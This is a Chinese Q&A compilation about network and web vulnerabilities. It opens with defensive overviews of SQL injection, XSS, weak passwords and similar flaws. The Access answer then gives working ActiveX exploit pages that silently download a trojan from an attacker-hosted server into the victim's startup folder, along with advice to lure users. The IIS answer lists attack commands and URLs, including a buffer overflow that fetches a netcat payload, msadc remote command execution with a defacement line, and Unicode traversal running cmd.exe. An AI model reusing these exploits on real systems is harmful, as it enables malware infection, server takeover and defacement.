【热心相助】
您好!
网络系统本身存在的安全漏洞:
1.
应用软件漏洞(研发、设计、编程、测试、应用中出现的);
2.
网络操作系统漏洞
3.
网络协议漏洞
4.
网站和站点安全隐患
5.
网络数据库漏洞;
6.
网络系统管理和应用方面的漏洞
参考:网络安全实用技术,清华大学出版社,贾铁军主编
㈡ Web应用常见的安全漏洞有哪些
Web应用常见的安全漏洞:
1、SQL注入
注入是一个安全漏洞,允许攻击者通过操纵用户提供的数据来更改后端SQL语句。当用户输入作为命令或查询的一部分被发送到解释器并且欺骗解释器执行非预期的命令并且允许访问未授权的数据时,发生注入。
2、跨站脚本攻击 (XSS)
XSS漏洞针对嵌入在客户端(即用户浏览器而不是服务器端)的页面中嵌入的脚本。当应用程序获取不受信任的数据并将其发送到Web浏览器而未经适当验证时,可能会出现这些缺陷。
3、跨站点请求伪造
CSRF攻击是指恶意网站,电子邮件或程序导致用户的浏览器在用户当前已对其进行身份验证的受信任站点上执行不需要的操作时发生的攻击。
4、无法限制URL访问
Web应用程序在呈现受保护的链接和按钮之前检查URL访问权限 每次访问这些页面时,应用程序都需要执行类似的访问控制检查。通过智能猜测,攻击者可以访问权限页面。攻击者可以访问敏感页面,调用函数和查看机密信息。
5、不安全的加密存储
不安全的加密存储是一种常见的漏洞,在敏感数据未安全存储时存在。用户凭据,配置文件信息,健康详细信息,信用卡信息等属于网站上的敏感数据信息。
(2)数据库漏洞都有哪些扩展阅读
web应用漏洞发生的市场背景:
由于Web服务器提供了几种不同的方式将请求转发给应用服务器,并将修改过的或新的网页发回给最终用户,这使得非法闯入网络变得更加容易。
许多程序员不知道如何开发安全的应用程序。他们的经验也许是开发独立应用程序或Intranet Web应用程序,这些应用程序没有考虑到在安全缺陷被利用时可能会出现灾难性后果。
许多Web应用程序容易受到通过服务器、应用程序和内部已开发的代码进行的攻击。这些攻击行动直接通过了周边防火墙安全措施,因为端口80或443(SSL,安全套接字协议层)必须开放,以便让应用程序正常运行。
㈢ 常见的漏洞类型有哪些
SQL 注入攻击( SQL Injection ),简称注入攻击、SQL 注入,被广泛用于非法获取网站控制权, 是发生在应用程序的数据库层上的安全漏洞。在设计程序,忽略了对输入字符串中夹带的SQL 指令的检查,被数据库误认为是正常的SQL 指令而运行,从而使数据库受到攻击,可能导致数据被窃取、更改、删除,以及进一步导致网站被嵌入恶意代码、被植入后门程序等危害。
通常情况下, SQL 注入的位置包括:
(1)表单提交,主要是POST 请求,也包括GET 请求;
(2)URL 参数提交,主要为GET 请求参数;
(3)Cookie 参数提交;
(4)HTTP 请求头部的一些可修改的值,比如Referer 、User_Agent 等;
(5)一些边缘的输入点,比如.mp3 文件的一些文件信息等。
SQL 注入的危害不仅体现在数据库层面上, 还有可能危及承载数据库的操作系统;如果SQL 注入被用来挂马,还可能用来传播恶意软件等,这些危害包括但不局限于:
(1)数据库信息泄漏:数据库中存放的用户的隐私信息的泄露。作为数据的存储中心,数据库里往往保存着各类的隐私信息, SQL 注入攻击能导致这些隐私信息透明于攻击者。
(2)网页篡改:通过操作数据库对特定网页进行篡改。
(3)网站被挂马,传播恶意软件:修改数据库一些字段的值,嵌入网马链接,进行挂马攻击。
(4)数据库被恶意操作:数据库服务器被攻击,数据库的系统管理员帐户被篡改。
(5)服务器被远程控制,被安装后门。经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统。
(6)破坏硬盘数据,瘫痪全系统。
解决SQL 注入问题的关键是对所有可能来自用户输入的数据进行严格的检查、对数据库配置使用最小权限原则。通常使用的方案有:
(1 )所有的查询语句都使用数据库提供的参数化查询接口,参数化的语句使用参数而不是将用户输入变量嵌入到SQL 语句中。当前几乎所有的数据库系统都提供了参数化SQL 语句执行接口,使用此接口可以非常有效的防止SQL 注入攻击。
(2 )对进入数据库的特殊字符( '"<>&*; 等)进行转义处理,或编码转换。
(3 )确认每种数据的类型,比如数字型的数据就必须是数字,数据库中的存储字段必须对应为int 型。
(4)数据长度应该严格规定,能在一定程度上防止比较长的SQL 注入语句无法正确执行。
(5)网站每个数据层的编码统一,建议全部使用UTF-8 编码,上下层编码不一致有可能导致一些过滤模型被绕过。
(6)严格限制网站用户的数据库的操作权限,给此用户提供仅仅能够满足其工作的权限,从而最大限度的减少注入攻击对数据库的危害。
(7)避免网站显示SQL 错误信息,比如类型错误、字段不匹配等,防止攻击者利用这些错误信息进行一些判断。
(8)在网站发布之前建议使用一些专业的SQL 注入检测工具进行检测,及时修补这些SQL 注入漏洞。
跨站脚本攻击( Cross-site scripting ,通常简称为XSS)发生在客户端,可被用于进行窃取隐私、钓鱼欺骗、窃取密码、传播恶意代码等攻击。XSS 攻击使用到的技术主要为HTML 和javascript ,也包括VBScript和ActionScript 等。XSS 攻击对WEB 服务器虽无直接危害,但是它借助网站进行传播,使网站的使用用户受到攻击,导致网站用户帐号被窃取,从而对网站也产生了较严重的危害。
XSS 类型包括:
(1)非持久型跨站: 即反射型跨站脚本漏洞, 是目前最普遍的跨站类型。跨站代码一般存在于链接中,请求这样的链接时,跨站代码经过服务端反射回来,这类跨站的代码不存储到服务端(比如数据库中)。上面章节所举的例子就是这类情况。
(2)持久型跨站:这是危害最直接的跨站类型,跨站代码存储于服务端(比如数据库中)。常见情况是某用户在论坛发贴,如果论坛没有过滤用户输入的Javascript 代码数据,就会导致其他浏览此贴的用户的浏览器会执行发贴人所嵌入的Javascript 代码。
(3)DOM 跨站(DOM XSS ):是一种发生在客户端DOM (Document Object Model 文档对象模型)中的跨站漏洞,很大原因是因为客户端脚本处理逻辑导致的安全问题。
XSS 的危害包括:
(1)钓鱼欺骗:最典型的就是利用目标网站的反射型跨站脚本漏洞将目标网站重定向到钓鱼网站,或者注入钓鱼JavaScript 以监控目标网站的表单输入,甚至发起基于DHTML 更高级的钓鱼攻击方式。
(2 )网站挂马:跨站时利用IFrame 嵌入隐藏的恶意网站或者将被攻击者定向到恶意网站上,或者弹出恶意网站窗口等方式都可以进行挂马攻击。
(3)身份盗用: Cookie 是用户对于特定网站的身份验证标志, XSS 可以盗取到用户的Cookie ,从而利用该Cookie 盗取用户对该网站的操作权限。如果一个网站管理员用户Cookie 被窃取,将会对网站引发巨大的危害。
(4)盗取网站用户信息:当能够窃取到用户Cookie 从而获取到用户身份使,攻击者可以获取到用户对网站的操作权限,从而查看用户隐私信息。
(5)垃圾信息发送:比如在SNS 社区中,利用XSS 漏洞借用被攻击者的身份发送大量的垃圾信息给特定的目标群。
(6)劫持用户Web 行为:一些高级的XSS 攻击甚至可以劫持用户的Web 行为,监视用户的浏览历史,发送与接收的数据等等。
(7)XSS 蠕虫:XSS 蠕虫可以用来打广告、刷流量、挂马、恶作剧、破坏网上数据、实施DDoS 攻击等。
常用的防止XSS 技术包括:
(1)与SQL 注入防护的建议一样,假定所有输入都是可疑的,必须对所有输入中的script 、iframe 等字样进行严格的检查。这里的输入不仅仅是用户可以直接交互的输入接口,也包括HTTP 请求中的Cookie 中的变量, HTTP 请求头部中的变量等。
(2 )不仅要验证数据的类型,还要验证其格式、长度、范围和内容。
(3)不要仅仅在客户端做数据的验证与过滤,关键的过滤步骤在服务端进行。
( 4)对输出的数据也要检查, 数据库里的值有可能会在一个大网站的多处都有输出,即使在输入做了编码等操作,在各处的输出点时也要进行安全检查。
(5)在发布应用程序之前测试所有已知的威胁。
弱口令(weak password) 没有严格和准确的定义,通常认为容易被别人(他们有可能对你很了解)猜测到或被破解工具破解的口令均为弱口令。设置密码通常遵循以下原则:
(1)不使用空口令或系统缺省的口令,这些口令众所周之,为典型的弱口令。
(2)口令长度不小于8 个字符。
(3)口令不应该为连续的某个字符(例如: AAAAAAAA )或重复某些字符的组合(例如: tzf.tzf. )。
(4)口令应该为以下四类字符的组合,大写字母(A-Z) 、小写字母(a-z) 、数字(0-9) 和特殊字符。每类字符至少包含一个。如果某类字符只包含一个,那么该字符不应为首字符或尾字符。
(5)口令中不应包含本人、父母、子女和配偶的姓名和出生日期、纪念日期、登录名、E-mail 地址等等与本人有关的信息,以及字典中的单词。
(6)口令不应该为用数字或符号代替某些字母的单词。
(7)口令应该易记且可以快速输入,防止他人从你身后很容易看到你的输入。
(8)至少90 天内更换一次口令,防止未被发现的入侵者继续使用该口令。
HTTP/1.1 (RFC2616 )规范定义了HTTP TRACE 方法,主要是用于客户端通过向Web 服务器提交TRACE 请求来进行测试或获得诊断信息。当Web 服务器启用TRACE 时,提交的请求头会在服务器响应的内容(Body )中完整的返回,其中HTTP 头很可能包括Session Token 、Cookies 或其它认证信息。攻击者可以利用此漏洞来欺骗合法用户并得到他们的私人信息。该漏洞往往与其它方式配合来进行有效攻击,由于HTTP TRACE 请求可以通过客户浏览器脚本发起(如XMLHttpRequest ),并可以通过DOM 接口来访问,因此很容易被攻击者利用。防御HTTP 报头追踪漏洞的方法通常禁用HTTP TRACE 方法。
Apache Struts 是一款建立Java web 应用程序的开放源代码架构。Apache Struts 存在一个输入过滤错误,如果遇到转换错误可被利用注入和执行任意Java 代码。网站存在远程代码执行漏洞的大部分原因是由于网站采用了Apache Struts Xwork 作为网站应用框架,由于该软件存在远程代码执高危漏洞,导致网站面临安全风险。CNVD 处置过诸多此类漏洞,例如:“ GPS 车载卫星定位系统”网站存在远程命令执行漏洞(CNVD-2012-13934) ;Aspcms 留言本远程代码执行漏洞( CNVD-2012-11590 )等。
修复此类漏洞,只需到Apache 官网升级Apache Struts 到最新版本
框架注入攻击是针对Internet Explorer 5 、Internet Explorer 6 、与Internet Explorer 7 攻击的一种。这种攻击导致Internet Explorer 不检查结果框架的目的网站,因而允许任意代码像Javascript 或者VBScript 跨框架存取。这种攻击也发生在代码透过多框架注入,肇因于脚本并不确认来自多框架的输入。这种其他形式的框架注入会影响所有的不确认不受信任输入的各厂商浏览器和脚本。如果应用程序不要求不同的框架互相通信,就可以通过完全删除框架名称、使用匿名框架防止框架注入。但是,因为应用程序通常都要求框架之间相互通信,因此这种方法并不可行。因此,通常使用命名框架,但在每个会话中使用不同的框架,并且使用无法预测的名称。一种可行的方法是在每个基本的框架名称后附加用户的会话令牌,如main_display 。
文件上传漏洞通常由于网页代码中的文件上传路径变量过滤不严造成的,如果文件上传功能实现代码没有严格限制用户上传的文件后缀以及文件类型,攻击者可通过Web 访问的目录上传任意文件,包括网站后门文件( webshell ),进而远程控制网站服务器。因此,在开发网站及应用程序过程中,需严格限制和校验上传的文件,禁止上传恶意代码的文件。同时限制相关目录的执行权限,防范webshell 攻击。
由于测试脚本对提交的参数数据缺少充分过滤,远程攻击者可以利用洞以WEB 进程权限在系统上查看任意文件内容。防御此类漏洞通常需严格过滤提交的数据,有效检测攻击。
IP 地址是网络用户的重要标示,是攻击者进行攻击前需要了解的。获取的方法较多,攻击者也会因不同的网络情况采取不同的方法,如:在局域网内使用Ping 指令, Ping 对方在网络中的名称而获得IP;在Internet 上使用IP 版的QQ直接显示。最有效的办法是截获并分析对方的网络数据包。攻击者可以找到并直接通过软件解析截获后的数据包的IP 包头信息,再根据这些信息了解具体的IP。针对最有效的“数据包分析方法”而言,就可以安装能够自动去掉发送数据包包头IP 信息的一些软件。不过使用这些软件有些缺点, 譬如:耗费资源严重,降低计算机性能;访问一些论坛或者网站时会受影响;不适合网吧用户使用等等。现在的个人用户采用最普及隐藏IP 的方法应该是使用代理,由于使用代理服务器后,“转址服务”会对发送出去的数据包有所修改,致使“数据包分析”的方法失效。一些容易泄漏用户IP 的网络软件(QQ 、MSN 、IE 等)都支持使用代理方式连接Internet ,特别是QQ 使用“ ezProxy ”等代理软件连接后, IP 版的QQ 都无法显示该IP 地址。虽然代理可以有效地隐藏用户IP,但攻击者亦可以绕过代理, 查找到对方的真实IP 地址,用户在何种情况下使用何种方法隐藏IP,也要因情况而论。
由于Web 配置不安全, 登陆请求把诸如用户名和密码等敏感字段未加密进行传输, 攻击者可以窃听网络以劫获这些敏感信息。建议进行例如SSH 等的加密后再传输。
SQL 注入、XSS、目录遍历、弱口令等均可导致敏感信息泄露,攻击者可以通过漏洞获得敏感信息。针对不同成因,防御方式不同。
㈣ Access数据库的漏洞有那些哪位高手指教一下!
有网页自己看也行..看我发的也行: http://www.chinaz.com/Program/Access/0Z93KC2008.html Access漏洞威胁的潜在人群十分巨大。目前已经有不少利用该漏洞的恶意网站了,一旦用户访问这些页面就会被植入木马下载器,这些木马下载器成功进入用户系统并执行后,就会下载其他的恶意程序木马,试图盗取用户的QQ、网游等账号,危险不言而喻。 本次Access漏洞除Office2007版本外,在以前的版本中广泛存在。由于用户在安装Office的时候很多都是选择的默认安装,附带也安装了Access,所以漏洞威胁的用户群数量非常的巨大。 HTTP GET功能导致漏洞出现 本次的Access漏洞的全名称为“Microsoft Office Snapshot Viewer ActiveX Exploit 漏洞”,是一个ActiveX控件漏洞。该漏洞存在于snapview.ocx控件中,出现的原因是因为该控件具有HTTP GET功能,这个功能可以从指定的网址下载指定的文件。 黑客要利用该漏洞,先要特制一个恶意网站引诱用户访问。当用户打开该网页的时候,恶意网址就赋给了HTTP GET功能,该功能被激活后就偷偷从恶意网址下载病毒,这样病毒就可以神不知鬼不觉地进入用户的系统中,威胁用户的各种账号和密码。受这个漏洞影响的Access版本有2003、2002、2000。 Access漏洞解决方案 方案1:现在已经有了该漏洞的补丁了,请大家赶快到 http://www.shudoo.com/bzsoft 下载。此外,我们还可以在“工具→Internet选项→安全”中,选择“Internet”图标,然后将下面的安全级别中设置为“高”(图3),这样可以有效地阻止网页木马入侵。 图3 方案2 :将以下内容复制在记事本中,另存为1.reg,然后双击导入注册表也可以堵上漏洞。 Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{F0E42D50-368C-11D0-AD81-00A0C90DC8D9}] “Compatibility Flags”=dword:00000400 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{F0E42D60-368C-11D0-AD81-00A0C90DC8D9}] “Compatibility Flags”=dword:00000400 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{F2175210-368C-11D0-AD81-00A0C90DC8D9}] “Compatibility Flags”=dword:00000400 目前黑客利用Access漏洞的主要方式 方式1:写入启动项 先申请一个免费的Web空间,用Mini downloader by SEC配置网页木马,在“URL”处输入网页木马地址,再点击“Creat”,又再弹出窗口中将文件保存为test.exe,这样就网页木马就配置好了。 接着将test.exe上传到先前申请的免费空间里面,病毒地址就是:http://(这里是申请的空间地址)/test.exe 。将以下漏洞的利用代码复制粘贴到新建的记事本里,另存为test.html。 <html> <object classid='clsid:F0E42D50-368C-11D0-AD81-00A0C90DC8D9′ id='obj'></object> <script language='javascript'> var buf1 = ‘http://(这里是申请的空间地址)/test.exe'; var buf2 = ‘C:/Documents and Settings/All Users/「开始」菜单/程序/启动/test.exe'; obj.SnapshotPath = buf1; obj.CompressedPath = buf2; </script> </html> 最后将test.html上传到空间里,得到病毒的访问地址:http://(这里是空间地址)/test.html。做到这步,剩下的工作就是传播网址引诱用户访问了。当用户访问该网页时就会中招,用户的电脑会在启动项里出现test.exe文件。 点评: 这种方式有个缺点,就是有些安全软件会提示有程序写入启动项。 方式2:不写入启动项 将以下代码复制到新建的记事本中,另存为test.html上传到空间即可。当用户访问该网页时也会中招,不过启动项里没有test.exe文件,用户无法察觉自己中毒了。 <html> <body> <script type="text/javascript"> function killErrors() { return true; } window.onerror = killErrors; var x; var obj; var mycars = new Array(); mycars[0] = "C:/Program Files/Outlook Express/wab.exe"; mycars[1] = "d:/Program Files/Outlook Express/wab.exe"; var objlcx = new ActiveXObject("snpvw.Snapshot Viewer Control.1"); if(objlcx="[object]") { setTimeout('window.location = "[url=ldap://"]ldap://"',3000[/url]); for (x in mycars) { obj = new ActiveXObject("snpvw.Snapshot Viewer Control.1") var buf1 = 'http://(这里是申请的空间地址)/test.exe'; var buf2=mycars[x]; obj.Zoom = 0; obj.ShowNavigationButtons = false; obj.AllowContextMenu = false; obj.SnapshotPath = buf1; try { obj.CompressedPath = buf2; obj.PrintSnapshot(); }catch(e){} } } </script> </body> </html> 点评: 这种方式无需写入启动项,这样安全软件就不会有任何提示了,在用户访问恶意页面的时候直接中马,使用户中马的概率更高。
㈤ 常见的网络漏洞有哪些
你说的漏洞比较广,是软件漏洞还是系统 系统漏洞还有server漏洞还有iis漏洞 我就和你说说iis漏洞吧。1. iis4hack缓冲溢出
主要存在于.htr,.idc和.stm文件中,其对关于这些文件的URL请求没有对名字进行充分的边界检查,导致运行攻击者插入一些后门程序 在系统中下载和执行程序。要检测这样的站点你需要两个文件iishack.exe,ncx.exe,你可以到下面 的站点www.technotronic.com去下载,另外你还需要一台自己的WEB服务器。你现在你自己的WEB服务器上运行WEB服务程序并把ncx.exe放到你自己相应的目录下,然后使用iishack.exe来检查目标机器:
c:>iishack.exe <victim> 80 <your web server>/ncx.exe
然后你就使用netcat来连接你要检测的服务器:
c:>nc <victim> 80
如果溢出点正确你就可以看到目标机器的命令行提示,并且是管理远权限。利用程序见iis4hack.zip
2.msadc
IIS的MDAC组件存在一个漏洞可以导致攻击者远程执行你系统的命令。主要核心问题是存在于RDS Datafactory,默认情况下, 它允许远程命令发送到IIS服务器中,这命令会以设备用户的身份运行,其一般默认情况下是SYSTEM用户。利用程序为msadc2.pl,我们看看它的help
[quack@chat quack]$ perl msadc2.pl -h
-- RDS smack v2 - rain forest puppy / ADM / wiretrip --
Usage: msadc.pl -h <host> { -d <delay> -X -v }
-h <host> = host you want to scan (ip or domain)
-d <seconds> = delay between calls, default 1 second
-X = mp Index Server path table, if available
-N = query VbBusObj for NetBIOS name
-V = use VbBusObj instead of ActiveDataFactory
-v = verbose
-e = external dictionary file for step 5
-u <\hostsharefile> = use UNC file
-w = Windows 95 instead of Windows NT
-c = v1 compatibility (three step query)
-s <number> = run only step <number>
Or a -R will resume a (v2) command session
[quack@chat quack]$ perl msadc2.pl -h http://www.targe.com/
-- RDS smack v2 - rain forest puppy / ADM / wiretrip --
Type the command line you want to run (cmd /c assumed):
cmd /c
如果出现cmd /c后,直接键入命令行,就可以以system权限执行命令了。比如xundi教的:
echo hacked by me > d:inetpubwwwrootvictimwebindex.htm
3.Codebrws.asp
察看文件源代码
http://www.victim.com/iisamples/exair/howitworks/codebrws.asp?source=/iisamples/exair/howitworks/codebrws.asp
4.Showcode.asp
察看文件源代码
http://www.victim.com/msadc/samples/selector/showcode.asp?source=/msadc/../../../../../winnt/win.ini
5.Null.htw
察看文件源代码
http://www.victim.com/null.htw?CiWebhitsfile=/default.asp%20&%20CiRestriction=none%20&%20&CiHiliteType=full
6.webhits.dll & .htw
hit-highligting功能是由Index Server提供的允许一个WEB用户在文档上highlighted(突出)他们原始搜索的条目,这个文档的名字通过变量CiWebhitsfile传递给.htw文件,Webhits.dll是一个ISAPI应用程序 来处理请求,打开文件并返回结果,当用户控制了CiWebhitsfile参数传递给.htw时,他们就可以请求任意文件,结果就是导致查看ASP源码和其他脚本文件内容。要了解你是否存在这个漏洞,你可以请求如下条目:
http://www.victim.com/nosuchfile.htw 如果你从服务器端获得如下信息:
format of the QUERY_STRING is invalid这就表示你存在这个漏洞 .这个问题主要就是webhits.dll关联了.htw文件的映射,所以你只要取消
这个映射就能避免这个漏洞,你可以在你认为有漏洞的系统中搜索.htw文件,一般会发现如下的程序:
/iissamples/issamples/oop/qfullhit.htw
/iissamples/issamples/oop/qsumrhit.htw
/isssamples/exair/search/qfullhit.htw
/isssamples/exair/search/qsumrhit.htw
/isshelp/iss/misc/iirturnh.htw (这个一般为loopback使用)
一个攻击者可以使用如下的方法来访问系统中文件的内容:
http://www.victim.com/iissamples/issamples/oop/qfullhit.htw?
ciwebhitsfile=/../../winnt/win.ini&cirestriction=none&cihilitetype=full
就会在有此漏洞系统中win.ini文件的内容。 7.ASP Alternate Data Streams(::$DATA) 要查看一些.asp文件的内容,你可以请求如下的URL: http://www.victim.com/default.asp::$DATA你就得到了源代码
8.ASP Dot Bug
在请求的URL结尾追加一个或者多个点导致泄露ASP源代码。
http://www.victim.com/sample.asp.
9.ISM.DLL
这个漏洞是由Cerberus Information Security team.最早发现的,它运行在IIS4.0和5.0上面,允许攻击者查看任意文件内容和源代码。通过在文件名后面追加近230个+或者?%20?(这些表示空格)并追加?.htr?的特殊请求给IIS,会使IIS认为客户端请求的是?.htr?文件,而.htr文件的后缀映射到ISM.DLL ISAPI应用程序,这样IIS就把这个.htr请求转交给这个DLL文件,然后ISM.DLL 程序把传递过来的文件打开和执行,但在ISM.DLL 截断信息之前,缓冲区发送 一个截断开的 .Htr 并会有一些时间去返回一些你要打开的文件内容. 除非 WEB 服务停止并重启过,否则这攻击只能有效执行一次。如果已经发送过一个 .htr 请求到机器上,那么这攻击会失效.它只能在 ISM.DLL第一次装入内存时工作.CNNS发现追加+号到没有一次攻击这个问题,可以进行多次攻击。
http://www.victim.com/global.asa%20%20(...<=230)global.asa.htr
10. .idc & .ida Bugs
这个漏洞实际上类似ASP dot 漏洞,其能在IIS4.0上显示其WEB目录信息,很奇怪的说有些还在IIS5.0上发现过此类漏洞,通过增加?idc?或者?ida? 后缀到URL会导致IIS尝试允许通过数据库连接程序.DLL来运行.IDC,如果此.idc不存在,它就返回一些信息给客户端。
http://www.victim.com/anything.idc 或者 anything.idq
11.+.htr Bug
对有些ASA和ASP追加+.htr的URL请求就会导致文件源代码的泄露:
http://www.victim.com/global.asa+.htr
12.NT Site Server Adsamples
通过请求site.csc,一般保存在/adsamples/config/site.csc中,攻击者 可能获得一些如数据库中的DSN,UID和PASS的一些信息,如:
http://www.victim.com/adsamples/config/site.csc
13./iisadmpwd
IIS4.0中包含一个有趣的特征就是允许远程用户攻击WEB服务器上的用户帐号,就是你的WEB服务器是通过NAT来转换地址的,还可以被攻击。 每个IIS4.0安装的时候建立一个虚拟目录/iisadmpwd,这个目录包含多个 .htr文件,匿名用户允许访问这些文件,这些文件刚好没有规定只限制 在loopback addr(127.0.0.1),请求这些文件就跳出对话框让你通过WEB来修改用户的帐号和密码。这个目录物理映射在下面的目录下:
c:winntsystem32inetsrviisadmpwd
Achg.htr
Aexp.htr
Aexp2.htr
Aexp2b.htr
Aexp3.htr
Aexp4.htr
Aexp4b.htr
Anot.htr
Anot3.htr
这样,攻击者可以通过暴力来猜测你的密码。
14.Translate:f Bug
泄露asp文件源代码 存在OFFICE 2000和FRONTPAGE 2000Server Extensions中的WebDAV中, 当有人请求一个ASP/ASA后者其他任意脚本的时候在HTTP GET加上Translate:f 后缀,并在请求文件后面加/就会显示文件代码,当然在没有打WIN2K SP1补丁 为前提。这个是W2K的漏洞,但由于FP2000也安装在IIS4.0上,所以在IIS4.0上也有这个漏洞。利用程序: trasn1.pl,trans2.pl
15.Unicode
IIS 4.0和IIS 5.0在Unicode字符解码的实现中存在一个安全漏洞,导致用户可以远程通过IIS执行任意命令。当IIS打开文件时,如果该文件名包含unicode字符,它会对其进行解码,如果用户提供一些特殊 的编码,将导致IIS错误的打开或者执行某些web根目录以外的文件。
http://www.victim.com/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir
http://www.victim.com/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir
http://www.victim.com/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir
http://www.victim.com/a.asp/..%c1%1c../..%c1%1c../winnt/win.ini
可能需要察看以下几个目录
GET
/scripts/..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\
HTTP/1.0rnrn
GET
/msadc/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\
HTTP/1.0rnrn
GET
/_vti_bin/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\
HTTP/1.0rnrn
GET
/_mem_bin/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\
HTTP/1.0rnrn
GET
/cgi-bin/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\
HTTP/1.0rnrn
eeye开发了工具包iishack1.5针对这一漏洞进行测试
16.iis5.0 缓冲溢出
微软Win 2K IIS
5的打印ISAPI扩展接口建立了.printer扩展名到msw3prt.dll的映射关系,缺省情况下该映射存在。当远程用户提交对.printer的URL请求时,IIS
5调用msw3prt.dll解释该请求。由于msw3prt.dll缺乏足够的缓冲区边界检查,远程用户可以提交一个精心构造的针对.printer的URL请求,其"Host:"域包含大约420字节的数据,此时在msw3prt.dll中发生典型的缓冲区溢出,潜在允许执行任意代码。溢出发生后,WEB服务停止响应,Win 2K可以检查到WEB服务停止响应,从而自动重启它,因此系统管理员很难意识到发生过攻击。利用程序见iis5hack.zip
17.IIS CGI文件名二次解码漏洞
IIS在加载可执行CGI程序时,会进行两次解码。第一次解码是对CGI文件名进行http解码,然后判断此文件名是否为可执行文件,例如检查后缀名是否为".exe"或".com"等等。在文件名检查通过之后,IIS会再进行第二次解码。正常情况下,应该只对该CGI的参数进行解码,然而,IIS错误地将已经解码过的CGI文件名和CGI参数一起进行解码。这样,CGI文件名就被错误地解码了两次。
通过精心构造CGI文件名,攻击者可以绕过IIS对文件名所作的安全检查,例如对"../"或"./"的检查,在某些条件下,攻击者可以执行任意系统命令。
例如,对于’’这个字符,正常编码后是%5c。这三个字符对应的编码为:
’%’ = %25
’5’ = %35
’c’ = %63
如果要对这三个字符再做一次编码,就可以有多种形式,例如:
%255c
%%35c
%%35%63
%25%35%63
...
因此,".."就可以表示成"..%255c"或"..%%35c"等等形式。在经过第一次解码之后,变成"..%5c"。IIS会认为这是一个正常的字符串,不会违反安全规则检查。而在第二次被解码之后,就会变成".."。因此攻击者就可以使用".."来进行目录遍历,执行web目录之外的任意程序。 好了 先到这里。。。。漏洞太多了不过还是微软系统排第一的 一个是使用的人群广 一个是XXX 哈哈哈